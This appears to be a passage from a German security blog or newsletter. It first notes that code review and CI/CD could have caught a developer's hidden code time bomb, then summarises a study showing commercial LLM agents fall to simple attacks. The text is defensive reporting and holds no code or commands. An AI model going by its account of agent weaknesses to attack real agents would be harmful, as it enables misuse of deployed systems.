Regelmäßige Peer-Reviews und Quellcode-Audits, ggf. auch automatisierte Tests und Continuous Integration/Continuous Deployment (CI/CD)-Pipelines, die primär der Qualitätssicherung in der Softwareentwicklung dienen, hätten hier die Tat des Entwicklers vereiteln oder mindestens ihn einem erhöhten Entdeckungsrisiko aussetzen können.

https://www.heise.de/news/Zeitbombe-in-Code-versteckt-Entwickler-verurteilt-10311150.html

https://www.golem.de/news/kollegen-ausgesperrt-systeme-des-ex-arbeitgebers-mit-kill-switch-sabotiert-2503-194115.html

KI-Agenten anfällig für einfache gefährliche Angriffe

Es lässt sich eine signifikant zunehmende Verwendung von KI-Agenten in verschiedenen Bereichen zur Automatisierung von Aufgaben und zur Unterstützung bei Entscheidungsprozessen beobachten (i. d. R. mit Large Language Models – LLM). Die Kompetenz, diese KI-Systeme effektiv zu nutzen und zu steuern, gewinnt damit an Bedeutung.

Doch wie sicher sind diese KI-Agenten?

Eine aktuelle Studie mit dem Titel „Commercial LLM Agents Are Already Vulnerable to Simple Yet Dangerous Attacks“ beleuchtet die Sicherheits- und Datenschutzlücken von kommerziellen LLM-Agenten und zeigt, dass diese oft anfällig für einfache, aber gefährliche Angriffe sind.

Die Autoren der Studie haben eine umfassende Taxonomie der Angriffe erstellt, die Bedrohungsakteure, Ziele, Einstiegspunkte, Sichtbarkeit des Angreifenden, Angriffstechniken und die inhärenten Schwachstellen der Agenten-Pipelines kategorisiert. Die systematische Analyse zeigt, dass die Integration von LLMs in größere Systeme neue Sicherheitsherausforderungen mit sich bringt, die über die bekannten Schwachstellen isolierter LLMs hinausgehen.

Um die praktischen Auswirkungen dieser Schwachstellen zu demonstrieren, führten die Autoren eine Reihe von Angriffen auf populäre Open-Source- und kommerzielle Agenten durch, die bemerkenswert einfach umzusetzen waren und keine speziellen Kenntnisse im Bereich maschinelles Lernen erforderten. Dies unterstreicht die Dringlichkeit, Sicherheitsmaßnahmen zu verbessern und die Robustheit dieser Systeme zu erhöhen.

https://arxiv.org/html/2502.08586v1

https://www.linkedin.com/pulse/wenn-ki-agenten-zu-komplizen-werden-roger-basler-de-roca-qnrre